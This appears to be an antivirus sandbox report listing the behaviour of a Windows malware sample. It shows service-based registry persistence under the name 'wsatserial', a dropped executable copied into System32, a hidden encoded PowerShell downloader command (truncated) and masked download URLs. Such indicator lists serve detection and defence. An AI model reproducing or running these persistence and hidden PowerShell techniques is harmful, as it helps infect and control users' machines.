Technical Information
- [<HKLM>\System\CurrentControlSet\Services\wsatserial] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\wsatserial] 'ImagePath' = '"<SYSTEM32>\wsatserial.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -en JABTAGkAbAB1AHkAdwB1AGMAdAB4AGUAPQAnAE8AegByAHIAbwBpAGsAZgBjACcAOwAkAEoAZQBmAHQAbABiAHMAbgBtAHEAYQBrACAAPQAgACcANwA5ADgAJwA7ACQARAB5AG8AdwB1AGkAbQBiAGgAZgA9ACcAVQBiAHAAeQBoAGsAaQB...
- %HOMEPATH%\798.exe
- from %HOMEPATH%\798.exe to <SYSTEM32>\wsatserial.exe
- http://my###msylic.com/wp-content/SIlZl49933/
- http://18#.#5.143.170/7UD7DeB
- DNS ASK my###msylic.com
- '%HOMEPATH%\798.exe'
- '<SYSTEM32>\wsatserial.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -en JABTAGkAbAB1AHkAdwB1AGMAdAB4AGUAPQAnAE8AegByAHIAbwBpAGsAZgBjACcAOwAkAEoAZQBmAHQAbABiAHMAbgBtAHEAYQBrACAAPQAgACcANwA5ADgAJwA7ACQARAB5AG8AdwB1AGkAbQBiAGgAZgA9ACcAVQBiAHAAeQBoAGsAaQB...' (with hidden window)